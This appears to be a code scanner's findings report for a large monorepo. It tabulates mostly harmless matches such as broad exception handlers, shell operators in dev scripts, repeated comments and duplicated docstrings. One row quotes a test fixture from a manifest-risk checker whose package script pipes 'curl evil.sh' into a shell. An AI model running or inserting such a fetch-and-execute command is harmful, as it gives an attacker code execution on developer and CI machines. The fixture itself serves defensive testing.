| LOW | tools/hogbox-preview/hogbox_preview/hogland_backend.py | 507 | except Exception as e: # noqa: BLE001 — TTL reaper is the backstop | CODE |
| LOW | tools/hogbox-preview/hogbox_preview/hogland_backend.py | 513 | except Exception as e: # noqa: BLE001 — TTL reaper is the backstop | CODE |
| LOW | tools/hogbox-preview/hogbox_preview/hogland_backend.py | 569 | except Exception as refresh_err: # noqa: BLE001 — keep polling | CODE |
| LOW | tools/hogbox-preview/hogbox_preview/hogland_backend.py | 571 | except Exception as e: # noqa: BLE001 — keep polling through transient API errors | CODE |
| LOW | tools/hogbox-preview/hogbox_preview/__main__.py | 140 | except Exception: # noqa: BLE001 — a flaky check shouldn't reap a live preview | CODE |
| LOW | tools/pr-approval-agent/dismiss_check.py | 227 | except Exception as e: | CODE |
| MEDIUM | tools/pr-approval-agent/dismiss_check.py | 218 | def main() -> None: | CODE |
| LOW | tools/pr-approval-agent/review_pr.py | 298 | except Exception as exc: | CODE |
| LOW | tools/pr-approval-agent/review_pr.py | 509 | except Exception as exc: | CODE |
| LOW | tools/pr-approval-agent/review_pr.py | 677 | except Exception as e: | CODE |
| LOW | tools/pr-approval-agent/github.py | 493 | except Exception as exc: | CODE |
| LOW | tools/hogli-commands/hogli_commands/metabase.py | 133 | except Exception as exc: | CODE |
| LOW | tools/hogli-commands/hogli_commands/feedback.py | 92 | except Exception: | CODE |
| LOW | tools/hogli-commands/hogli_commands/feedback.py | 119 | except Exception as exc: | CODE |
| LOW | tools/hogli-commands/hogli_commands/db_schema.py | 138 | except Exception: | CODE |
| LOW | tools/hogli-commands/hogli_commands/db_schema.py | 199 | except Exception as exc: | CODE |
| LOW | tools/hogli-commands/hogli_commands/db_schema.py | 203 | except Exception as cleanup_exc: | CODE |
| LOW | tools/hogli-commands/hogli_commands/db_schema.py | 467 | except Exception: | STRING |
| LOW | tools/hogli-commands/hogli_commands/db_schema.py | 528 | except Exception as exc: | STRING |
| LOW | tools/hogli-commands/hogli_commands/db_schema.py | 535 | except Exception as exc: | STRING |
| LOW | tools/hogli-commands/hogli_commands/db_schema.py | 568 | except Exception as exc: | STRING |
| LOW | tools/hogli-commands/hogli_commands/db_schema.py | 586 | except Exception as exc: | STRING |
| 3783 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | …rmance-ai/query_performance_ai/orchestrator/harvest.py | 31 | result = sandbox.execute(f"cat {shlex.quote(path)} 2>/dev/null || true", timeout_seconds=30) | CODE |
| HIGH | …rmance-ai/query_performance_ai/orchestrator/harvest.py | 36 | cmd = f"find {shlex.quote(dir_path)} -maxdepth 1 -type f -printf '%f\\n' 2>/dev/null || true" | CODE |
| HIGH⚡ | tools/hogli/tests/test_command_types.py | 20 | cmd = DirectCommand("test", {"cmd": "echo foo && echo bar"}) | CODE |
| HIGH⚡ | tools/hogli/tests/test_command_types.py | 27 | assert call_args[0][0] == "echo foo && echo bar" | CODE |
| HIGH | tools/hogli/tests/test_command_types.py | 46 | cmd = DirectCommand("test", {"cmd": "echo foo && echo bar"}) | CODE |
| HIGH⚡ | tools/hogli/tests/test_command_types.py | 19 | """Test commands with && or || use shell=True.""" | STRING |
| HIGH⚡ | tools/hogli/tests/test_command_types.py | 19 | """Test commands with && or || use shell=True.""" | STRING |
| HIGH | tools/hogbox-preview/hogbox_preview/backend.py | 113 | inner = f"bash {base}.sh > {log} 2>&1 && touch {done} || touch {fail}" | CODE |
| HIGH | tools/hogbox-preview/hogbox_preview/stack.py | 231 | "for _ in $(seq 1 30); do docker info >/dev/null 2>&1 && break; sleep 2; done; " | CODE |
| HIGH | tools/hogbox-preview/hogbox_preview/stack.py | 371 | "docker volume rm posthog_postgres-15-data || true" | CODE |
| HIGH | tools/hogbox-preview/hogbox_preview/stack.py | 445 | "rm -rf frontend/dist && mkdir -p frontend/dist staticfiles && " | CODE |
| HIGH | tools/hogbox-preview/hogbox_preview/stack.py | 508 | probe login GET /login || exit 1 | CODE |
| HIGH | tools/hogbox-preview/tests/test_hogland_backend.py | 8 | cd tools/hogbox-preview && python -m unittest discover tests | STRING |
| HIGH | tools/hogbox-preview/tests/test_stack_secret_key.py | 9 | cd tools/hogbox-preview && python -m unittest discover tests | STRING |
| HIGH | tools/hogbox-preview/tests/test_deep_health.py | 16 | cd tools/hogbox-preview && python -m unittest discover tests | STRING |
| HIGH | tools/hogbox-preview/tests/test_swap_frontend.py | 15 | cd tools/hogbox-preview && python -m unittest discover tests | STRING |
| HIGH | tools/pr-approval-agent/familiarity.py | 68 | """Serialize an AuthorFamiliarity for the evidence bundle (or null).""" | STRING |
| HIGH | tools/pr-approval-agent/test_manifest_risk.py | 28 | _pkg('"test": "jest && curl evil.sh | sh"'), | CODE |
| HIGH | tools/hogli-commands/hogli_commands/devenv/generator.py | 262 | _news=$(curl -sf --max-time 2 '{news_url}' 2>/dev/null || cat {news_local} 2>/dev/null || true) | CODE |
| HIGH⚡ | …li-commands/hogli_commands/tests/test_workflow_lint.py | 276 | group: build-${{ github.head_ref || github.ref }} | STRING |
| HIGH⚡ | …li-commands/hogli_commands/tests/test_workflow_lint.py | 284 | group: test-${{ github.head_ref || github.ref }} | STRING |
| HIGH | …li-commands/hogli_commands/tests/test_workflow_lint.py | 211 | concurrency: "${{ github.workflow }}-${{ github.head_ref || github.ref }}" | STRING |
| HIGH | …li-commands/hogli_commands/tests/test_workflow_lint.py | 249 | group: ${{ github.workflow }}-${{ github.head_ref || github.run_id }} | STRING |
| HIGH | …li-commands/hogli_commands/tests/test_workflow_lint.py | 305 | group: build-${{ github.head_ref || github.ref }} | STRING |
| HIGH⚡ | …ols/hogli-commands/hogli_commands/tests/test_devenv.py | 177 | assert result["shell"] == "bin/wait-for-docker && bin/dev-sandbox ./bin/start-backend" | CODE |
| HIGH⚡ | …ols/hogli-commands/hogli_commands/tests/test_devenv.py | 185 | "shell": "bin/dev-open-when-ready http://localhost:6006 && pnpm install && pnpm run storybook", | CODE |
| HIGH⚡ | …ols/hogli-commands/hogli_commands/tests/test_devenv.py | 190 | "bin/dev-open-when-ready http://localhost:6006 && bin/dev-sandbox " | CODE |
| HIGH⚡ | …ols/hogli-commands/hogli_commands/tests/test_devenv.py | 191 | + shlex.quote("pnpm install && pnpm run storybook") | CODE |
| HIGH⚡ | …ols/hogli-commands/hogli_commands/tests/test_devenv.py | 198 | result = self._wrap({"shell": "echo hi && bin/wait-for-docker && ./server", "sandbox": True}) | CODE |
| HIGH⚡ | …ols/hogli-commands/hogli_commands/tests/test_devenv.py | 199 | assert result["shell"] == "bin/wait-for-docker && bin/dev-sandbox " + shlex.quote("echo hi && ./server") | CODE |
| HIGH⚡ | …ols/hogli-commands/hogli_commands/tests/test_devenv.py | 205 | result = self._wrap({"shell": "bin/wait-for-docker && bin/wait-for-postgres-tables x", "sandbox": True}) | CODE |
| HIGH⚡ | …ols/hogli-commands/hogli_commands/tests/test_devenv.py | 207 | assert result["shell"] == "bin/wait-for-docker && bin/wait-for-postgres-tables x" | CODE |
| HIGH⚡ | …ogli-commands/hogli_commands/tests/test_ci_insights.py | 106 | @pytest.mark.parametrize("payload", ["", "not json{", '{"actions": [null]}']) | CODE |
| HIGH⚡ | …ols/hogli-commands/hogli_commands/tests/test_checks.py | 526 | scripts={"backend:test": "pytest -c ../../pytest.ini --rootdir ../.. backend/ -v --tb=short || true"}, | CODE |
| HIGH⚡ | …ols/hogli-commands/hogli_commands/tests/test_checks.py | 536 | scripts={"backend:test": "pytest -c ../../pytest.ini --rootdir ../.. backend/ -v --tb=short || exit 0"}, | CODE |
| HIGH⚡ | …ols/hogli-commands/hogli_commands/tests/test_checks.py | 589 | "backend:test": "pytest -c ../../pytest.ini --rootdir ../.. backend/nonexistent -v --tb=short || true", | CODE |
| HIGH | tools/hogli-commands/hogli_commands/devbox/cli.py | 1564 | hogli devbox:exec -n api -- bash -lc 'cd ~/posthog && git status' | STRING |
| HIGH | …/hogli_commands/workflow_lint/checks/pr_concurrency.py | 7 | group: ${{ github.workflow }}-${{ github.head_ref || github.ref }} | STRING |
| HIGH | …/hogli_commands/workflow_lint/checks/pr_concurrency.py | 57 | " group: ${{ github.workflow }}-${{ github.head_ref || github.ref }}\n" | CODE |
| HIGH | …/hogli_commands/workflow_lint/checks/pr_concurrency.py | 77 | "concurrency group uses `github.head_ref || github.run_id`; use " | CODE |
| HIGH | …/hogli_commands/workflow_lint/checks/pr_concurrency.py | 78 | "`github.head_ref || github.ref` so push runs deduplicate" | CODE |
| HIGH⚡ | tools/traffic-sim/cli.py | 63 | let snippetLocation = null; | CODE |
| HIGH⚡ | tools/traffic-sim/cli.py | 67 | snippetLocation = s.parentElement ? s.parentElement.tagName.toLowerCase() : null; | CODE |
| HIGH⚡ | tools/traffic-sim/cli.py | 71 | let initConfig = null; | CODE |
| HIGH⚡ | tools/traffic-sim/cli.py | 81 | api_host: p.api_host || null, | CODE |
| HIGH⚡ | tools/traffic-sim/cli.py | 81 | api_host: p.api_host || null, | CODE |
| HIGH⚡ | tools/traffic-sim/cli.py | 82 | person_profiles: p.person_profiles || null, | CODE |
| HIGH⚡ | tools/traffic-sim/cli.py | 82 | person_profiles: p.person_profiles || null, | CODE |
| HIGH⚡ | tools/traffic-sim/cli.py | 90 | if (!initConfig && window.posthog && window.posthog.config) { | CODE |
| HIGH⚡ | tools/traffic-sim/cli.py | 93 | api_key: c.token || null, | CODE |
| HIGH⚡ | tools/traffic-sim/cli.py | 93 | api_key: c.token || null, | CODE |
| HIGH⚡ | tools/traffic-sim/cli.py | 94 | api_host: c.api_host || null, | CODE |
| HIGH⚡ | tools/traffic-sim/cli.py | 94 | api_host: c.api_host || null, | CODE |
| HIGH⚡ | tools/traffic-sim/cli.py | 95 | person_profiles: c.person_profiles || null, | CODE |
| HIGH⚡ | tools/traffic-sim/cli.py | 95 | person_profiles: c.person_profiles || null, | CODE |
| HIGH⚡ | tools/traffic-sim/cli.py | 98 | const arrScript = posthogScripts.find(s => s.src && s.src.includes('array')); | CODE |
| HIGH⚡ | tools/traffic-sim/cli.py | 100 | const runtimeState = defined && window.posthog | CODE |
| HIGH⚡ | tools/traffic-sim/cli.py | 104 | distinct_id: window.posthog.get_distinct_id ? window.posthog.get_distinct_id() : null, | CODE |
| HIGH⚡ | tools/traffic-sim/cli.py | 105 | config_api_host: window.posthog.config ? window.posthog.config.api_host : null, | CODE |
| HIGH⚡ | tools/traffic-sim/cli.py | 109 | if (runtimeState.loaded && hasPosthogInitId) loadMethod = 'head_snippet'; | CODE |
| 722 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | tools/test_test_selection_verdict.py | 1 | CODE | |
| LOW | tools/test_selection_verdict.py | 15 | CODE | |
| LOW | tools/test_snob_backend_test_selection_shadow.py | 1 | CODE | |
| LOW | tools/snob_backend_test_selection_shadow.py | 29 | CODE | |
| LOW | tools/phrocs/mcp_server.py | 12 | CODE | |
| LOW | …dboxed_autoresearch_agent/pi_plugin/scripts/_common.py | 3 | CODE | |
| LOW | …research_agent/pi_plugin/scripts/ch_compare_results.py | 7 | CODE | |
| LOW | …esearch_agent/pi_plugin/scripts/ch_capture_baseline.py | 4 | CODE | |
| LOW | …toresearch_agent/pi_plugin/scripts/ch_run_candidate.py | 4 | CODE | |
| LOW | …xed_autoresearch_agent/pi_plugin/scripts/transports.py | 9 | CODE | |
| LOW | …toresearch_agent/pi_plugin/scripts/ch_campaign_init.py | 9 | CODE | |
| LOW | …earch_agent/pi_plugin/scripts/tests/test_transports.py | 8 | CODE | |
| LOW | …t/pi_plugin/templates/workspace/autoresearch_checks.py | 8 | CODE | |
| LOW | …ch_agent/pi_plugin/templates/workspace/autoresearch.py | 7 | CODE | |
| LOW | …ance_ai/sandboxed_autoresearch_agent/driver/runtime.py | 8 | CODE | |
| LOW | …ai/sandboxed_autoresearch_agent/driver/run_campaign.py | 15 | CODE | |
| LOW | …e_ai/sandboxed_autoresearch_agent/driver/sandboxing.py | 27 | CODE | |
| LOW | …ce-ai/query_performance_ai/orchestrator/coordinator.py | 22 | CODE | |
| LOW | …ormance-ai/query_performance_ai/orchestrator/server.py | 10 | CODE | |
| LOW | …e-ai/query_performance_ai/orchestrator/slow_queries.py | 9 | CODE | |
| LOW | …rmance-ai/query_performance_ai/orchestrator/harvest.py | 3 | CODE | |
| LOW | …query_performance_ai/orchestrator/backends/metabase.py | 8 | CODE | |
| LOW | …ai/query_performance_ai/orchestrator/backends/local.py | 13 | CODE | |
| LOW | …ery_performance_ai/orchestrator/backends/_query_log.py | 10 | CODE | |
| LOW | …-ai/query_performance_ai/orchestrator/backends/base.py | 10 | CODE | |
| LOW | …rmance_ai/orchestrator/backends/tests/test_backends.py | 1 | CODE | |
| LOW | …performance_ai/orchestrator/tests/test_slow_queries.py | 1 | CODE | |
| LOW | …query_performance_ai/orchestrator/tests/test_server.py | 1 | CODE | |
| LOW | …ts/clickhouse-multinode/verify-multinode-clickhouse.py | 22 | CODE | |
| LOW | tools/hogli/tests/test_migrations.py | 3 | CODE | |
| LOW | tools/hogli/tests/test_manifest.py | 3 | CODE | |
| LOW | tools/hogli/tests/test_command_types.py | 3 | CODE | |
| LOW | tools/hogli/tests/test_validate.py | 3 | CODE | |
| LOW | tools/hogli/tests/test_cli.py | 3 | CODE | |
| LOW | tools/hogli/tests/test_telemetry.py | 3 | CODE | |
| LOW | tools/hogli/scripts/generate_man_page.py | 4 | CODE | |
| LOW | tools/hogli/src/hogli/hooks.py | 9 | CODE | |
| LOW | tools/hogli/src/hogli/lazy_commands.py | 3 | CODE | |
| LOW | tools/hogli/src/hogli/manifest.py | 3 | CODE | |
| LOW | tools/hogli/src/hogli/telemetry.py | 18 | CODE | |
| LOW | tools/hogli/src/hogli/command_types.py | 3 | CODE | |
| LOW | tools/hogli/src/hogli/validate.py | 3 | CODE | |
| LOW | tools/hogli/src/hogli/cli.py | 7 | CODE | |
| LOW | tools/hogli/src/hogli/__main__.py | 3 | CODE | |
| LOW | tools/hogbox-preview/hogbox_preview/backend.py | 21 | CODE | |
| LOW | tools/hogbox-preview/hogbox_preview/__init__.py | 11 | CODE | |
| LOW | tools/hogbox-preview/hogbox_preview/__init__.py | 11 | CODE | |
| LOW | tools/hogbox-preview/hogbox_preview/__init__.py | 11 | CODE | |
| LOW | tools/hogbox-preview/hogbox_preview/__init__.py | 11 | CODE | |
| LOW | tools/hogbox-preview/hogbox_preview/__init__.py | 12 | CODE | |
| LOW | tools/hogbox-preview/hogbox_preview/__init__.py | 13 | CODE | |
| LOW | tools/hogbox-preview/hogbox_preview/__init__.py | 14 | CODE | |
| LOW | tools/hogbox-preview/hogbox_preview/timing.py | 17 | CODE | |
| LOW | tools/hogbox-preview/hogbox_preview/stack.py | 34 | CODE | |
| LOW | tools/hogbox-preview/hogbox_preview/hogland_backend.py | 26 | CODE | |
| LOW | …/hogbox-preview/hogbox_preview/digitalocean_backend.py | 11 | CODE | |
| LOW | tools/hogbox-preview/hogbox_preview/__main__.py | 18 | CODE | |
| LOW | tools/hogbox-preview/tests/test_hogland_backend.py | 11 | CODE | |
| LOW | tools/hogbox-preview/tests/test_hogland_backend.py | 17 | CODE | |
| LOW | tools/hogbox-preview/tests/test_stack_secret_key.py | 12 | CODE | |
| 4011 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | docker-compose.dev-full.yml | 3 | # This file is the same as `docker-compose.dev.yml` except it boots the services in containers instead of you running th | COMMENT |
| MEDIUM | …rm/us/project-2/team-analytics-platform/terragrunt.hcl | 2 | # This file is NOT directly runnable - it provides shared config for child modules. | COMMENT |
| MEDIUM | tools/phrocs/Formula/phrocs.rb | 4 | # This file is auto-updated by CI on semver releases. DO NOT EDIT. | COMMENT |
| MEDIUM | tools/hogli-commands/hogli_commands/devenv/generator.py | 304 | # Create a friendly message with config hint | STRING |
| MEDIUM | devenv/intent-map.yaml | 3 | # This file defines the domain model for developer environments: | COMMENT |
| MEDIUM | products/demo/backend/logic/products/hedgebox/matrix.py | 301 | # Create the standard internal/test users cohort (same as non-demo teams get) | COMMENT |
| MEDIUM | products/demo/backend/logic/products/spikegpt/matrix.py | 49 | # Create the standard internal/test users cohort (same as non-demo teams get) | COMMENT |
| MEDIUM | products/slack_app/backend/inbox_channel.py | 15 | # Creating a public channel and inviting members both require this scope. | COMMENT |
| MEDIUM | …backend/tests/temporal/destinations/snowflake/utils.py | 217 | # Create a crude mock of the Snowflake API that just stores the queries | COMMENT |
| MEDIUM | …tinations/file_download/test_file_download_activity.py | 190 | # Create a batch export in the DB since BatchExportFileDownload has a FK to it. | COMMENT |
| MEDIUM | products/batch_exports/backend/tests/api/test_update.py | 501 | # Create a BatchExport straight in the database/temporal to avoid going through the API | COMMENT |
| MEDIUM | products/cdp/backend/models/hog_function_template.py | 93 | # Create a SHA256 hash of the content | COMMENT |
| MEDIUM | …ducts/cdp/backend/models/hog_functions/hog_function.py | 344 | # Create a serializer data dictionary from the template | COMMENT |
| MEDIUM | …ducts/cdp/backend/models/hog_functions/hog_function.py | 356 | # Create a mock request with the user | COMMENT |
| MEDIUM⚡ | products/cdp/backend/api/hog_function.py | 437 | # Create the function with the execution_order | COMMENT |
| MEDIUM⚡ | products/cdp/backend/api/test/test_plugin.py | 696 | # Create the plugin | COMMENT |
| MEDIUM | products/cdp/backend/api/test/test_hog_function.py | 198 | # Create the action referenced in EXAMPLE_FULL | COMMENT |
| MEDIUM | products/cdp/backend/api/test/test_hog_function.py | 1720 | # Create a non-transformation function - should not get execution_order | COMMENT |
| MEDIUM | products/cdp/backend/api/test/test_hog_function.py | 2289 | # Create a third function | COMMENT |
| MEDIUM | products/cdp/backend/api/test/test_hog_function.py | 2374 | # Create a third function | COMMENT |
| MEDIUM | products/cdp/backend/api/test/test_hog_function.py | 2537 | # Create a template in the DB | COMMENT |
| MEDIUM | products/cdp/backend/api/test/test_hog_function.py | 2551 | # Create a HogFunction with template_id | COMMENT |
| MEDIUM | products/cdp/backend/api/test/test_hog_function.py | 2568 | # Create a HogFunction without template_id | COMMENT |
| MEDIUM | products/cdp/backend/api/test/test_hog_function.py | 2650 | # Create a hog function | COMMENT |
| MEDIUM⚡ | …ts/cdp/backend/api/test/test_hog_function_templates.py | 207 | # Create a modified sha of the template | COMMENT |
| MEDIUM | …ts/cdp/backend/api/test/test_hog_function_templates.py | 50 | # Create a webhook template | COMMENT |
| MEDIUM | …ts/cdp/backend/api/test/test_hog_function_templates.py | 65 | # Create a deprecated template | COMMENT |
| MEDIUM | …ts/cdp/backend/api/test/test_hog_function_templates.py | 96 | # Create a site_destination template for filtering tests | COMMENT |
| MEDIUM⚡ | products/feature_flags/backend/test/test_flags_cache.py | 712 | # Create a new team | COMMENT |
| MEDIUM⚡ | products/feature_flags/backend/test/test_flags_cache.py | 2823 | # Create a flag for testing | COMMENT |
| MEDIUM | products/feature_flags/backend/test/test_flags_cache.py | 373 | # Create a flag | COMMENT |
| MEDIUM | products/feature_flags/backend/test/test_flags_cache.py | 392 | # Create a flag | COMMENT |
| MEDIUM | products/feature_flags/backend/test/test_flags_cache.py | 948 | # Create a flag | COMMENT |
| MEDIUM | products/feature_flags/backend/test/test_flags_cache.py | 1603 | # Create a team that will be deleted | COMMENT |
| MEDIUM | products/feature_flags/backend/test/test_flags_cache.py | 1640 | # Create a flag so batch loading succeeds | COMMENT |
| MEDIUM | products/feature_flags/backend/test/test_flags_cache.py | 1721 | # Create a real flag for the team | COMMENT |
| MEDIUM | products/feature_flags/backend/test/test_flags_cache.py | 1744 | # Create a real flag for the team | COMMENT |
| MEDIUM | products/feature_flags/backend/test/test_flags_cache.py | 2020 | # Create a real flag for the team | COMMENT |
| MEDIUM | products/feature_flags/backend/test/test_flags_cache.py | 2043 | # Create a real flag for the team | COMMENT |
| MEDIUM | products/feature_flags/backend/test/test_flags_cache.py | 2078 | # Create a real flag for the team | COMMENT |
| MEDIUM | products/feature_flags/backend/test/test_flags_cache.py | 2124 | # Create a real flag for the team | COMMENT |
| MEDIUM | products/feature_flags/backend/test/test_flags_cache.py | 2151 | # Create a real flag | COMMENT |
| MEDIUM | products/feature_flags/backend/test/test_flags_cache.py | 2401 | # Create a real flag | COMMENT |
| MEDIUM | products/feature_flags/backend/test/test_flags_cache.py | 2454 | # Create a real flag | COMMENT |
| MEDIUM | products/feature_flags/backend/test/test_flags_cache.py | 2506 | # Create a flag for the team | COMMENT |
| MEDIUM | products/feature_flags/backend/test/test_flags_cache.py | 2535 | # Create a flag for the team | COMMENT |
| MEDIUM⚡ | …ts/feature_flags/backend/test/test_local_evaluation.py | 445 | # Create the context first (this will fire a signal for EvaluationContext.post_save) | COMMENT |
| MEDIUM⚡ | …ts/feature_flags/backend/test/test_local_evaluation.py | 450 | # Creating the association should fire the signal | COMMENT |
| MEDIUM | …ts/feature_flags/backend/test/test_local_evaluation.py | 1218 | # Create the circular reference: A -> B -> A | COMMENT |
| MEDIUM | products/feature_flags/backend/api/scheduled_change.py | 287 | # Create the CR and the ScheduledChange row in one transaction: the applier defers a bound CR | COMMENT |
| MEDIUM | …/api/test/test_feature_flag_require_evaluation_tags.py | 104 | # Create a flag first without the requirement | COMMENT |
| MEDIUM | …/api/test/test_feature_flag_require_evaluation_tags.py | 175 | # Create a flag with evaluation tags | COMMENT |
| MEDIUM | …/api/test/test_feature_flag_require_evaluation_tags.py | 207 | # Create a flag with multiple evaluation tags | COMMENT |
| MEDIUM | …/api/test/test_feature_flag_require_evaluation_tags.py | 242 | # Create a flag without evaluation tags (before requirement was enabled) | COMMENT |
| MEDIUM | …/api/test/test_feature_flag_require_evaluation_tags.py | 273 | # Create a flag with evaluation tags | COMMENT |
| MEDIUM | …eature_flags/backend/api/test/test_scheduled_change.py | 23 | # Create a feature flag to schedule changes for | COMMENT |
| MEDIUM | …eature_flags/backend/api/test/test_scheduled_change.py | 54 | # Create a feature flag | COMMENT |
| MEDIUM | …eature_flags/backend/api/test/test_scheduled_change.py | 84 | # Create a feature flag | COMMENT |
| MEDIUM | …ags/backend/api/test/test_organization_feature_flag.py | 161 | # Create a second user and log in as them (not the flag creator) so that | COMMENT |
| MEDIUM | …ags/backend/api/test/test_organization_feature_flag.py | 1363 | # Create a flag with encrypted payloads | COMMENT |
| 770 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | …s/hogli-commands/hogli_commands/product_structure.yaml | 0 | celery tasks for access_control. async entrypoints that call the facade (facade/api.py). keep task functions thin - only | STRING |
| HIGH | products/metrics/backend/tasks/tasks.py | 0 | celery tasks for access_control. async entrypoints that call the facade (facade/api.py). keep task functions thin - only | STRING |
| HIGH | products/tracing/backend/tasks/tasks.py | 0 | celery tasks for access_control. async entrypoints that call the facade (facade/api.py). keep task functions thin - only | STRING |
| HIGH | products/data_catalog/backend/tasks/tasks.py | 0 | celery tasks for access_control. async entrypoints that call the facade (facade/api.py). keep task functions thin - only | STRING |
| HIGH | products/legal_documents/backend/tasks/tasks.py | 0 | celery tasks for access_control. async entrypoints that call the facade (facade/api.py). keep task functions thin - only | STRING |
| HIGH | products/access_control/backend/tasks/tasks.py | 0 | celery tasks for access_control. async entrypoints that call the facade (facade/api.py). keep task functions thin - only | STRING |
| HIGH | …ch_exports/backend/temporal/pipeline/internal_stage.py | 0 | delete all objects in bucket_name under key_prefix. | STRING |
| HIGH | …ducts/batch_exports/backend/tests/temporal/utils/s3.py | 0 | delete all objects in bucket_name under key_prefix. | STRING |
| HIGH | products/batch_exports/backend/tests/api/test_test.py | 0 | delete all objects in bucket_name under key_prefix. | STRING |
| HIGH | …temporal/tests/external_data/test_external_data_job.py | 0 | delete all objects in bucket_name under key_prefix. | STRING |
| HIGH | …rts/backend/temporal/destinations/http_batch_export.py | 0 | a temporal workflow to export clickhouse data into bigquery. this workflow is intended to be executed both manually and | STRING |
| HIGH | …ackend/temporal/destinations/snowflake_batch_export.py | 0 | a temporal workflow to export clickhouse data into bigquery. this workflow is intended to be executed both manually and | STRING |
| HIGH | …backend/temporal/destinations/redshift_batch_export.py | 0 | a temporal workflow to export clickhouse data into bigquery. this workflow is intended to be executed both manually and | STRING |
| HIGH | …backend/temporal/destinations/postgres_batch_export.py | 0 | a temporal workflow to export clickhouse data into bigquery. this workflow is intended to be executed both manually and | STRING |
| HIGH | …ckend/temporal/destinations/databricks_batch_export.py | 0 | a temporal workflow to export clickhouse data into bigquery. this workflow is intended to be executed both manually and | STRING |
| HIGH | …backend/temporal/destinations/bigquery_batch_export.py | 0 | a temporal workflow to export clickhouse data into bigquery. this workflow is intended to be executed both manually and | STRING |
| HIGH | …ducts/batch_exports/backend/tests/temporal/conftest.py | 0 | fixture to manage a database for redshift export testing. managing a test database involves the following steps: 1. crea | STRING |
| HIGH | products/data_warehouse/backend/tests/api/conftest.py | 0 | fixture to manage a database for redshift export testing. managing a test database involves the following steps: 1. crea | STRING |
| HIGH | posthog/temporal/tests/conftest.py | 0 | fixture to manage a database for redshift export testing. managing a test database involves the following steps: 1. crea | STRING |
| HIGH | …atch_exports/backend/tests/temporal/test_monitoring.py | 0 | provide a batch export for tests, not intended to be used. | STRING |
| HIGH | …orts/backend/tests/temporal/test_batch_export_utils.py | 0 | provide a batch export for tests, not intended to be used. | STRING |
| HIGH | …rts/backend/tests/temporal/pipeline/test_entrypoint.py | 0 | provide a batch export for tests, not intended to be used. | STRING |
| HIGH | …rts/backend/tests/temporal/destinations/s3/conftest.py | 0 | manage a client to interact with a minio bucket. yields the client after creating a bucket. upon resuming, we delete the | STRING |
| HIGH | …/temporal/destinations/redshift/test_redshift_utils.py | 0 | manage a client to interact with a minio bucket. yields the client after creating a bucket. upon resuming, we delete the | STRING |
| HIGH | products/batch_exports/backend/tests/api/test_test.py | 0 | manage a client to interact with a minio bucket. yields the client after creating a bucket. upon resuming, we delete the | STRING |
| HIGH | …sts/api/destination_tests/test_s3_destination_tests.py | 0 | manage a client to interact with a minio bucket. yields the client after creating a bucket. upon resuming, we delete the | STRING |
| HIGH | …es/backend/temporal/data_imports/tests/e2e/conftest.py | 0 | manage a client to interact with a minio bucket. yields the client after creating a bucket. upon resuming, we delete the | STRING |
| HIGH | …end/temporal/data_imports/tests/e2e/test_end_to_end.py | 0 | manage a client to interact with a minio bucket. yields the client after creating a bucket. upon resuming, we delete the | STRING |
| HIGH | …temporal/tests/external_data/test_external_data_job.py | 0 | manage a client to interact with a minio bucket. yields the client after creating a bucket. upon resuming, we delete the | STRING |
| HIGH | …emporal/data_imports/tests/e2e/test_bigquery_source.py | 0 | manage a client to interact with a minio bucket. yields the client after creating a bucket. upon resuming, we delete the | STRING |
| HIGH | …ral/destinations/s3/test_workflow_with_minio_bucket.py | 0 | test a `postgresbatchexportworkflow` backfilling the persons model. we expect persons outside the batch interval to also | STRING |
| HIGH | …/tests/temporal/destinations/bigquery/test_workflow.py | 0 | test a `postgresbatchexportworkflow` backfilling the persons model. we expect persons outside the batch interval to also | STRING |
| HIGH | …s/temporal/destinations/snowflake/test_workflow_e2e.py | 0 | test a `postgresbatchexportworkflow` backfilling the persons model. we expect persons outside the batch interval to also | STRING |
| HIGH | …/tests/temporal/destinations/postgres/test_workflow.py | 0 | test a `postgresbatchexportworkflow` backfilling the persons model. we expect persons outside the batch interval to also | STRING |
| HIGH | …ral/destinations/s3/test_workflow_with_minio_bucket.py | 0 | test postgres export workflow end-to-end without any events to export. the workflow should update the batch export run s | STRING |
| HIGH | …/tests/temporal/destinations/bigquery/test_workflow.py | 0 | test postgres export workflow end-to-end without any events to export. the workflow should update the batch export run s | STRING |
| HIGH | …/tests/temporal/destinations/postgres/test_workflow.py | 0 | test postgres export workflow end-to-end without any events to export. the workflow should update the batch export run s | STRING |
| HIGH | …ckend/tests/temporal/destinations/bigquery/conftest.py | 0 | return a bigquery configuration dictionary to use in tests. | STRING |
| HIGH | products/batch_exports/backend/tests/api/test_test.py | 0 | return a bigquery configuration dictionary to use in tests. | STRING |
| HIGH | …i/destination_tests/test_bigquery_destination_tests.py | 0 | return a bigquery configuration dictionary to use in tests. | STRING |
| HIGH | …emporal/data_imports/tests/e2e/test_bigquery_source.py | 0 | return a bigquery configuration dictionary to use in tests. | STRING |
| HIGH | …ckend/tests/temporal/destinations/bigquery/conftest.py | 0 | manage a bigquery view for testing. we clean up the view after every test. could be quite time expensive, but guarantees | STRING |
| HIGH | …i/destination_tests/test_bigquery_destination_tests.py | 0 | manage a bigquery view for testing. we clean up the view after every test. could be quite time expensive, but guarantees | STRING |
| HIGH | …emporal/data_imports/tests/e2e/test_bigquery_source.py | 0 | manage a bigquery view for testing. we clean up the view after every test. could be quite time expensive, but guarantees | STRING |
| HIGH | …/tests/temporal/destinations/bigquery/test_activity.py | 0 | test that the `insert_into_postgres_activity_from_stage` merges new versions of rows. this unit tests looks at the mutab | STRING |
| HIGH | …s/temporal/destinations/snowflake/test_activity_e2e.py | 0 | test that the `insert_into_postgres_activity_from_stage` merges new versions of rows. this unit tests looks at the mutab | STRING |
| HIGH | …/tests/temporal/destinations/redshift/test_activity.py | 0 | test that the `insert_into_postgres_activity_from_stage` merges new versions of rows. this unit tests looks at the mutab | STRING |
| HIGH | …s/temporal/destinations/redshift/test_copy_activity.py | 0 | test that the `insert_into_postgres_activity_from_stage` merges new versions of rows. this unit tests looks at the mutab | STRING |
| HIGH | …/tests/temporal/destinations/postgres/test_activity.py | 0 | test that the `insert_into_postgres_activity_from_stage` merges new versions of rows. this unit tests looks at the mutab | STRING |
| HIGH | …/tests/temporal/destinations/bigquery/test_activity.py | 0 | test that the `insert_into_postgres_activity_from_stage` handles changes to the person schema. if we update the schema o | STRING |
